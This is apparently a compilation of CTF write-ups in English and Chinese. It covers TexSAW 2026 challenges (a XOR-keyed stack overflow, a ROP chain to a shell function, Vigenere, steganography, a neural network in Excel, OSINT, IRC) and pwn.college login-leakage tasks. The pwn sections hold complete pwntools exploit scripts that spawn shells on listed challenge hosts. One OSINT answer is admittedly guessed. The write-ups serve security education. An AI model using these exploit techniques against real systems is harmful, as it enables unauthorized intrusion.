printf("Currently the time is: %s", v3);
read_user_input(key);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ssize_t __cdecl read_user_input(int key)
{
_BYTE dest[40]; // [esp+18h] [ebp-40h] BYREF
size_t n; // [esp+40h] [ebp-18h]
void *buf; // [esp+44h] [ebp-14h]
int j; // [esp+48h] [ebp-10h]
signed int i; // [esp+4Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
// heap
buf = malloc(0xA0u);
n = read(0, buf, 0xA0u);
// twist
// 4 bytes at a time
for ( i = 0; i < (int)n; i += 4 )
{
// xor each 4 bytes
for ( j = 0; j <= 3; ++j )
// 这行代码的左边:*((_BYTE *)buf + ...)
// 那个 _BYTE(通常是 unsigned char 的 typedef)明确告诉了 C 编译器只操作这 1 个 byte (8 bits) 的内存空间。
// 当你试图把一个 32-bit 的庞大数据 (0x11223344),通过异或运算 (^=) 强行塞进一个只有 8-bit 容量的单字节内存空间时,C 语言会只保留最底部的 8 bits。
// 也就是说,编译器在底层自动帮你做了一个类似掩码 & 0xFF 的操作。0x11223344 经过单字节截断后,高位的 0x112233 直接被丢弃,只剩下了 0x44。而这个 0x44,恰恰就是 a1 的最低有效字节 (LSB)。
*((_BYTE *)buf + i + j) ^= key >> (8 * j);
// update key
++key;
}
// stack
memcpy(dest, buf, n);
return write(1, dest, 0x28u);
}
  • Key Generation: In main, the program takes the current Unix timestamp and rounds it down to the nearest minute: time_val = (time(0) / 60) * 60. This value is then passed into read_user_input.

  • The XOR Loop: Inside read_user_input, the program reads up to 160 bytes into a heap buffer. It then iterates through the input, XORing every 4-byte chunk with the time_val. Crucially, the time_val increments by 1 after every 4 bytes.

  • Buffer Overflow: After XORing, the program uses memcpy to copy the processed buffer into a local stack buffer (ebp-0x40). Since the stack buffer is only 64 bytes but memcpy copies up to 160 bytes, we have a stack-based buffer overflow.

3. Exploitation Strategy

Step 1: Leaking the Key The program XORs our input and then calls write to send 40 bytes of the stack buffer back to us. To bypass the XOR obfuscation, we first send a string of null bytes (\x00). Because x ^ 0 = x, the server returns the XOR key itself. This allows us to recover the exact time_val used by the server.

Step 2: Crafting the Payload We need to overwrite the return address at ebp + 4. The distance from the buffer start (ebp - 0x40) to the return address is 68 bytes.

Our desired stack layout after memcpy should be: [68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]

Step 3: Pre-XORing Because the program will XOR our input before it hits the stack, we must "pre-XOR" our payload. If the program expects Payload ^ Key = Stack, we must send Payload ^ Key so that when the server XORs it with Key, the result on the stack is our desired Payload.

4. Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

target = remote('chals.texsaw.org', 3000)

# 1. Leak the time-based XOR key
target.recvuntil(b'Currently the time is: ')
target.send(b'\x00' * 100)
output = target.recv(40)
leaked_time_val = u32(output[0:4])

# 2. Re-connect to apply the key (or use it if time hasn't changed)
target.close()
target = remote('chals.texsaw.org', 3000)

# Binary addresses (PIE disabled)
system_plt = 0x080490b0
bin_sh_addr = 0x0804a018

# Function to XOR payload according to binary logic
def xor_payload(data, key_val):
res = bytearray()
for i in range(0, len(data), 4):
chunk = data[i:i+4]
# Calculate the key for this 4-byte chunk
key = p32((key_val + (i // 4)) & 0xFFFFFFFF)
for j in range(len(chunk)):
res.append(chunk[j] ^ key[j])
return bytes(res)

# 3. Build and send the Pre-XORed payload
# 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh"
# 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。
payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr)
target.send(xor_payload(payload, leaked_time_val))

# 4. Get the shell
target.interactive()

Flag

texsaw{7h4nk_u_f0r_y0ur_71m3}

Do you ever wonder what happens to your packages? So does your mail carrier.

nc 143.198.163.4 15858

Flag format: texsaw{example_flag}

Solution

1. Initial Analysis

We start by analyzing the binary's protections:

1
$ checksec chall
  • No Stack Canary: This means we can easily overwrite the return address on the stack.
  • NX Disabled: The stack is executable, but we don't necessarily need shellcode for this exploit.
  • PIE Disabled: Function addresses are static and will not change between runs.

2. Identifying Vulnerabilities

Using objdump and nm, we identify several interesting functions:

  • main: The entry point.
  • deliver: Called by main; uses the unsafe gets() function to read input into a 32-byte buffer.
  • drive: A hidden function that checks an argument and, if correct, calls system("/bin/sh").
  • tool: Contains a useful ROP gadget: pop rdi; ret.

The vulnerable deliver function looks like this:

1
2
3
4
5
6
int deliver() {
char s1[32]; // [rsp+0h] [rbp-20h] BYREF
// ...
gets(s1); // VULNERABILITY: No length check!
// ...
}

Since gets() does not check the input length, we can provide a payload larger than 32 bytes to overwrite the saved instruction pointer on the stack.

3. Exploitation Strategy

The drive() function is our target:

1
2
3
4
5
int __fastcall drive(__int64 a1) {
if (a1 != 0x48435344) // "HCSD"
return puts("Need the secret key to deliver this package.\n");
return system("/bin/sh");
}

To get a shell, we need to call drive(0x48435344). In the x86-64 calling convention, the first argument is passed in the RDI register.

Our ROP Chain Plan:

  1. Overwrite the return address with the address of a pop rdi; ret gadget.
  2. Provide the value 0x48435344 as the next item on the stack (to be popped into RDI).
  3. Include a ret gadget for stack alignment (often necessary for system() calls in 64-bit glibc).
  4. Finally, call the drive function.

4. Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.binary = binary = ELF('./chall')

# Found addresses
pop_rdi_ret = 0x4011be
ret_gadget = 0x4011bf
drive_addr = 0x401211
secret_arg = 0x48435344

# Padding: 32 bytes (buffer) + 8 bytes (saved RBP) = 40 bytes
payload = b"A" * 40
payload += p64(ret_gadget) # Stack alignment
payload += p64(pop_rdi_ret) # Gadget to set RDI
payload += p64(secret_arg) # The argument "HCSD"
payload += p64(drive_addr) # Call drive()

# Connect and exploit
p = remote('143.198.163.4', 15858)
p.recvuntil(b"2 Canary Court\n\n")
p.sendline(payload)
p.interactive()

Flag

texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

There's a spy amongst us! We found one of their messages, but can't seem to crack it. For some reason, they wrote the message down twice.

The challenge provides two large blocks of ciphertext, both starting with what appears to be an encrypted flag.

Solution

1. Identifying the Cipher

We are given two different ciphertexts that supposedly represent the same message. This immediately suggests a polyalphabetic substitution cipher, most likely Vigenere, where different parts of the key are being applied to the same plaintext.

2. Deducing the Key Prefix

We know that the flags in this CTF follow the format texsaw{...}. By comparing the ciphertext prefixes with the known plaintext texsaw, we can calculate the key characters used at the start of each block (\(Key = Ciphertext - Plaintext\)).

Block 1 Prefix (twhsnz):

  • t - t = A (0)
  • w - e = S (18)
  • h - x = K (10)
  • s - s = A (0)
  • n - a = N (13)
  • z - w = D (3)
  • Key Prefix: ASKAND

Block 2 Prefix (brassg):

  • b - t = I (8)
  • r - e = N (13)
  • a - x = D (3)
  • s - s = A (0)
  • s - a = S (18)
  • g - w = K (10)
  • Key Prefix: INDASK

3. Recovering the Full Key

The fragments ASKAND and INDASK strongly suggest a famous quote from the Bible (Matthew 7:7):

"Ask, and it shall be given you; seek, and ye shall find: ask, and..."

By removing spaces and punctuation, we derive the full 41-character repeating key: ASKANDITSHALLBEGIVENYOUSEEKANDYESHALLFIND

4. Decrypting the Message

Using the recovered key, we can decrypt the rest of the message. The first message block uses an offset of 0, while the second block starts at a different position in the key loop.

Decryption reveals a message from a spy:

"they know im here, and its only a matter of time before they find out who i am. tell the general what the flag is as soon as possible..."

The signature at the bottom, - john cairncross, refers to the real-life British intelligence officer who was a double agent for the Soviet Union during World War II.

5. Extracting the Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def vigenere_decrypt(ct, key, offset=0):
res = ""
k_idx = offset
key = key.lower()
for char in ct:
if "a" <= char <= "z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("a") - shift) % 26 + ord("a"))
k_idx += 1
elif "A" <= char <= "Z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("A") - shift) % 26 + ord("A"))
k_idx += 1
else:
res += char
# k_idx is NOT incremented for non-alpha
return res


key = "askanditshallbegivenyouseekandyeshallfind"

ct1 = "twhsnz{tngqmqdhqqygxrloyehuvxtwwvxklkiiudpxqcvqhbmkepledu}"
ct2 = "brassg{lhrrfxzgxvrpzmierkrkdbkdyeibpredxbrflvvvotgvfisacb}"

# just loop and try offset
print("CT1:", vigenere_decrypt(ct1, key, 0))

print("CT2:", vigenere_decrypt(ct2, key, 38))

msg1 = """zpzc xlcq aq lorr, dlh aas zyqg n paldee rn mate mpgsxm olrw tcfh set jkm m st.
tpwq buh gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty whw qeahztd ieqzsi zpzc sgbx gyx ghruc me oiotso!
vi adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbfalsoa wwfgyrzh bx sqyrvevn.
eeoo shuc cgb'rp ytb srldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lru krohol psacs tu anmi cbs quf.
- nsrn pdgvfjrzdx
"""

print("\nMessage 1:")
print(vigenere_decrypt(msg1, key, 15))

Flag

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxysvdettsxpatcq}

I can't find my original house key anywhere! Can you help me find it? Here's a picture of my keys the nanny took before they were lost. It must be hidden somewhere!

Flag format: texsaw{flag_here}

Solution

1. Extracting Hidden Files

Using binwalk, we can identify and extract any embedded files:

1
❯ binwalk -e Temoc_keyring.png

After extraction, we have two similar images:

  1. Temoc_keyring(orig).png
  2. where_are_my_keys.png

Checking them with pngcheck confirms they are both valid, but their file sizes and compression ratios differ.

2. Pixel Comparison

At first glance, the two images appear identical. However, the difference in file size suggests that data might be hidden in the pixel values themselves. We can use a Python script with the Pillow library to compare them:

1
2
3
4
5
6
7
8
9
10
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

width, _ = img1.size

# Check the first row for differences
diff_indices = [x for x in range(width) if img1.getpixel((x, 0)) != img2.getpixel((x, 0))]
print(f"Differences found at X coordinates: {diff_indices}")

Running this reveals exactly 131 differing pixels, all located within the very first row (y = 0).

4. Decoding the Steganography

The pattern of differing pixels suggests a binary encoding. We can treat each pixel in the first row as a bit:

  • Bit 1: If the pixels at (x, 0) are different.
  • Bit 0: If the pixels at (x, 0) are identical.

We then group these bits into 8-bit bytes and convert them to ASCII characters to reveal the flag.

Extraction Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

bits = []
for x in range(img1.size[0]):
if img1.getpixel((x, 0)) != img2.getpixel((x, 0)):
bits.append(1)
else:
bits.append(0)

# Convert bits to bytes and then to ASCII
flag = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
char_code = int("".join(map(str, byte)), 2)
if char_code == 0: break
flag += chr(char_code)

print(f"Flag: {flag}")

Flag

texsaw{you_found_me_at_key}

Find the flag by reverse engineering this neural network. Oh, and its in Excel.

Flag format: texsaw{flag} (e.g., texsaw{orthogonal})

前置知识

本题涉及神经网络逆向工程,且模型实现在 Excel 电子表格中。以下概念有助于理解:

概念 说明
前馈神经网络 输入层→隐藏层→输出层,数据逐层前向传递
ReLU f(x)=max(0,x),负输入→零输出(关键逻辑门控!)
Sigmoid σ(x)=1/(1+e^{-x}),输出映射到 (0,1),>0.5 表示正输入
权重与偏置 网络参数,本例中 W1 是极端稀疏的 +1/-1 矩阵
Excel 逆向 .xlsx 本质是 ZIP,内部 XML 含公式与数据
前向传播公式 ASCII/127 × weight + bias = 0 ⇒ ASCII = round(-bias × 127 / weight)

参考:Excel NN 教程hxp EXCELlent

Solution

1. Understanding the Success Condition

Examining the spreadsheet, specifically Row 112, we find the conditions for a valid flag: - F > 0.5, L < 0.5, A > 0.5, G < 0.5

Since the output layer uses a Sigmoid activation function: - To get output > 0.5, the input to the sigmoid (z3) must be positive (> 0). - To get output < 0.5, the input to the sigmoid (z3) must be negative (< 0).

Analyzing the final weights (W3) and biases (b3), we find that all weights in W3 are large (300 or -300) and the biases are small (between 0.49 and 0.59). For these specific constraints to be met, the output of Layer 2 (a2) must be an extremely small positive number, very close to zero.

2. Reverse-Engineering Layer 2

Layer 2 uses the ReLU activation function: a2 = ReLU(z2), where z2 = sum(a1 * W2) + b2.

Key observations: - All weights in W2 are negative (e.g., -0.954667). - The bias b2 is a very small positive number (approx. 1/254). - a1 is the output of Layer 1's ReLU, so a1 >= 0.

If any value in a1 is a positive number, its product with the negative weights in W2 will likely make z2 negative, resulting in a2 = 0 (via ReLU). To maintain that tiny positive value for a2, we conclude that all activation values in a1 must be forced to zero.

3. Analyzing Layer 1

To force a1 = 0, we must ensure that z1 = x * W1 + b1 <= 0 for all neurons in the first layer.

Looking closely at the biases (b1), they appear to be "random" decimals: - h1[0] = -0.795276 - h1[3] = -0.90551 - h1[12] = -0.968504 - h1[23] = 0.91339

If we multiply these values by 127 (the maximum standard ASCII value), they resolve into integers. This reveals that W1 and b1 are essentially implementing boundary checks for each character of the input string.

Converting these non-zero biases back to ASCII: - -0.795276 * 127 \(\approx\) -101 \(\rightarrow\) e - -0.90551 * 127 \(\approx\) -115 \(\rightarrow\) s - -0.968504 * 127 \(\approx\) -123 \(\rightarrow\) { - 0.91339 * 127 \(\approx\) 116 \(\rightarrow\) t

4. Reconstructing the Flag

Extracting all valid b1 values and converting them yields a multiset of 22 characters: t, e, x, s, a, w, {, }, s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u

We know the flag format is texsaw{flag}. Removing the wrapper characters (t, e, x, s, a, w, {, }), we are left with: s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u

Rearranging these characters (Leetspeak for "neural reverse") gives us the inner flag content.

Flag

texsaw{n3ur4l_r3v3rs3}

This chall's got a bit of history to it.

First, crack this initial cryptogram. Now, apply OSINT tools to find who authors that original script.

Flag format: txsaw{first_last} (e.g., txsaw{john_scalzi})

Solution

1. Cryptanalysis: Substitution Cipher

The challenge begins with a large block of ciphertext:

1
Azza wfahv ztu. N rnvy, bndfah na zbfaztv vztak, n vztak ndfa uz n dcnqza zw n uzlvfa, icfuv nmztu...

Using frequency analysis or an automated tool like quipqiup, we can determine that this is a simple substitution cipher. The decoded plaintext is:

Noon rings out. A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin, flits about. Augustus, who has had a bad night, sits up blinking and purblind. Oh what was that word (is his thought) that ran through my brain all night, that idiotic word that, hard as I'd try to pun it down, was always just an inch or two out of my grasp...

2. OSINT: Identifying the Source

The title of the challenge, "Idiosyncratic French", and the nature of the decoded text provide vital clues.

Searching for the decoded string—specifically unique phrases like "A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin"—reveals that this is an excerpt from the novel "A Void".

3. The "Idiosyncrasy": Lipograms

What makes this text "idiosyncratic"? "A Void" is the English translation of the French novel "La Disparition". The defining characteristic (idiosyncrasy) of both the original and the translation is that they are lipograms: they are written entirely without the letter "e".

4. Finding the Author

The author of the original French novel, La Disparition, is the famous French writer Georges Perec.

Flag

txsaw{georges_perec}

D'oh, I overslept and missed most of the race! But wait, my friend took a picture while I was out, but I can't tell who's in the lead. Can you help me figure out the two cars that are in the lead? Usually they like to twin around this time of night...

Flag format: texsaw{num1_num2} (e.g., texsaw{21_44})

Analysis

1. Image Metadata (EXIF)

Analyzing the provided image (or the metadata extracted from it) reveals several critical data points:

Attribute Value Analysis
Camera Model Samsung Galaxy S24 Ultra High-end mobile sensor, likely captured with 3x optical zoom.
Date/Time 2026:01:24 22:14:12 Captured during the night of January 24th, 2026.
GPS Latitude 29° 11' 4.79" N Geolocation leads to Florida, USA.
GPS Longitude 81° 4' 28.43" W Specifically, the Daytona International Speedway.
Exposure 1/30s, f/2.4, ISO 320 Nighttime setting with motion blur, typical of racetrack photography.

2. Event Identification

Plugging the coordinates and the date into a search engine confirms the event: The 2026 Rolex 24 at Daytona.

This is a premier 24-hour endurance race held annually in late January at the Daytona International Speedway. The timestamp (10:14 PM EST on Saturday) puts the photograph roughly 8-9 hours into the 24-hour race.

3. The "Twinning" Clue

The challenge description mentions: "Usually they like to twin around this time of night..."

In the context of the IMSA WeatherTech SportsCar Championship (which runs the Rolex 24), "twinning" refers to teammate cars running in close formation. During the 2026 season, the Porsche Penske Motorsport team, running the Porsche 963 in the GTP class, was famous for their identical "mirror" liveries and consistent pace that often saw them running 1-2 on the track.

The two Porsche Penske cars are:

  • Car #6
  • Car #7

4. Verification

Looking at the race leaders during the night shift of the 2026 Rolex 24, the #6 and #7 Porsche 963s were indeed dominant. To distinguish them at night, teams use colored LED "Lumirank" displays:

  • Car #7: Blue LED
  • Car #6: Red LED

The "twinning" behavior is a signature of the Penske Porsches as they manage the gap and maintain the lead together.

Flag

just try 6 first or 7 first

texsaw{6_7}

Check out our IRC server and run the command /motd!

Server: irc.texsaw.org

Solution

To solve this challenge, we need to connect to the texSAW IRC server and view the "Message of the Day" (MOTD), which is a common place for CTF organizers to hide initial information or rules.

1. Install an IRC Client

1
2
3
4
# I use Arch BTW
paru -S weechat
# or
paru -S irssi

2. Connect to the Server

Launch your client and add the TexSAW server to your configuration. This makes it easier to reconnect later.

1
2
3
# Example using irssi
/server add texsaw irc.texsaw.org
/connect texsaw

3. Find the Flag

Once you've successfully connected, the server will usually send the MOTD automatically. If you miss it, manually request it with the following command:

1
2
/motd
# texsaw{w31c0M3_t0_t3xSAW_2O26!}

Useful IRC Commands

While you're on the server, you might want to join the discussion or interact with other participants:

  • /nick [new_nick]: Change your current nickname.

or

1
2
/set irc.server_default.nicks comma,separated,list,of,nicks
/set irc.server.[SERVER_NAME].nicks "
  • /list: List all available channels on the server.
  • /join #general: Join the official general discussion channel.
  • /whois [nick]: View information about a specific user.
  • /msg [nick] [message]: Send a private message (useful for contacting admins).
  • /part #[channel]: Leave a specific channel.
  • /quit: Disconnect from the server and close your session.

Flag

texsaw{w31c0M3_t0_t3xSAW_2O26!}

Login Leakage (Easy)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
hacker@program-security~login-leakage-easy:~$ /challenge/login-leakage-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffca2408530 (RSP+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408538 (RSP+0x0008) | 98 98 40 a2 fc 7f 00 00 | 0x00007ffca2409898 |
| 0x00007ffca2408540 (RSP+0x0010) | 88 98 40 a2 fc 7f 00 00 | 0x00007ffca2409888 |
| 0x00007ffca2408548 (RSP+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffca2408550 (RSP+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408558 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408560 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408568 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408570 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408578 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408580 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408588 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408590 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408598 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a0 (RSP+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a8 (RSP+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b0 (RSP+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b8 (RSP+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c0 (RSP+0x0090) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c8 (RSP+0x0098) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d0 (RSP+0x00a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d8 (RSP+0x00a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e0 (RSP+0x00b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e8 (RSP+0x00b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f0 (RSP+0x00c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f8 (RSP+0x00c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408600 (RSP+0x00d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408608 (RSP+0x00d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408610 (RSP+0x00e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408618 (RSP+0x00e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408620 (RSP+0x00f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408628 (RSP+0x00f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408630 (RSP+0x0100) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408638 (RSP+0x0108) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408640 (RSP+0x0110) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408648 (RSP+0x0118) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408650 (RSP+0x0120) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408658 (RSP+0x0128) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408660 (RSP+0x0130) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408668 (RSP+0x0138) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408670 (RSP+0x0140) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408678 (RSP+0x0148) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408680 (RSP+0x0150) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408688 (RSP+0x0158) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408690 (RSP+0x0160) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408698 (RSP+0x0168) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a0 (RSP+0x0170) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a8 (RSP+0x0178) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b0 (RSP+0x0180) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b8 (RSP+0x0188) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c0 (RSP+0x0190) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c8 (RSP+0x0198) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d0 (RSP+0x01a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d8 (RSP+0x01a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e0 (RSP+0x01b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e8 (RSP+0x01b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f0 (RSP+0x01c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f8 (RSP+0x01c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408700 (RSP+0x01d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408708 (RSP+0x01d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408710 (RSP+0x01e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408718 (RSP+0x01e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408720 (RSP+0x01f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408728 (RSP+0x01f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408730 (RSP+0x0200) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408738 (RSP+0x0208) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408740 (RSP+0x0210) | 00 00 00 00 00 00 25 0c | 0x0c25000000000000 |
| 0x00007ffca2408748 (RSP+0x0218) | d5 3c 61 40 cb d1 00 00 | 0x0000d1cb40613cd5 |
| 0x00007ffca2408750 (RSP+0x0220) | 00 82 64 58 27 60 00 00 | 0x0000602758648200 |
| 0x00007ffca2408758 (RSP+0x0228) | 80 98 40 a2 03 00 00 00 | 0x00000003a2409880 |
| 0x00007ffca2408760 (RSP+0x0230) | 90 97 40 a2 fc 7f 00 00 | 0x00007ffca2409790 |
| 0x00007ffca2408768 (RSP+0x0238) | c0 8c 64 58 27 60 00 00 | 0x0000602758648cc0 |
+---------------------------------+-------------------------+--------------------+
  • Input buffer 起始地址: 0x7ffca2408560
  • Password 起始地址: 0x7ffca2408746
  • Offset: 0x7ffca2408746 - 0x7ffca2408560 = 0x1E6 (486 bytes)

先看距离,再看比较逻辑。ltrace 直接把关键点抖出来了:

1
strcmp("123123\n", "n`\322\232\024\t[,") = -61

程序直接调用标准库里的 strcmp 来比较输入和随机生成的密码。strcmp 比较字符串时,一遇到 null terminator (\x00) 就会停止

既然题目不仅禁用了 canary (stack protector),还允许你输入任意长度的 payload,底层大概率就是 read() 这种可以读入 \x00 的接口,而不是会截断的 scanf。所以这里根本不用猜密码,直接用 null byte injection (空字节注入) 让判断逻辑失效就行。

  1. 如果我们在 input 的第一个字节就写入 \x00strcmp 就会认为我们的输入是一个空字符串 ""
  2. 因为存在 buffer overflow,我们可以一路把 \x00 填充过去,跨越那 486 bytes 的距离,顺便把目标 password 的第一个字节也覆盖成 \x00
  3. 这样一来,passwordstrcmp 眼里也变成了空字符串 ""

strcmp("", "") == 0,密码校验直接 pass。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-easy')

# 486 bytes 的 \x00 用来填满 buffer,同时让 input 变成空字符串 ""
# 第 487 个 byte 的 \x00 用来精准覆盖 password 的第一个字节,让它也变成 ""
payload = b'\x00' * 487

p.sendline(str(len(payload)).encode())
p.sendline(payload)

p.interactive()
pwn.college{wthFhdGjaeJBEazRhx2KFtz8tF5.QXwgzN4EDL4cjM1gzW}

Login Leakage (Hard)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
r2 -A -q -c "pdf @ sym.challenge" /challenge/login-leakage-hard
; CALL XREF from main @ 0x16ff(x)
┌ 396: sym.challenge (int64_t arg1, int64_t arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(7:sp[0xc..0x1e0])
│ 0x000014f2 f30f1efa endbr64
│ 0x000014f6 55 push RBP
│ 0x000014f7 4889e5 mov RBP, RSP
│ 0x000014fa 4881ece001.. sub RSP, 0x1e0
│ 0x00001501 89bd3cfeffff mov dword [var_1c4h], edi ; arg1
│ 0x00001507 4889b530fe.. mov qword [var_1d0h], RSI ; arg2
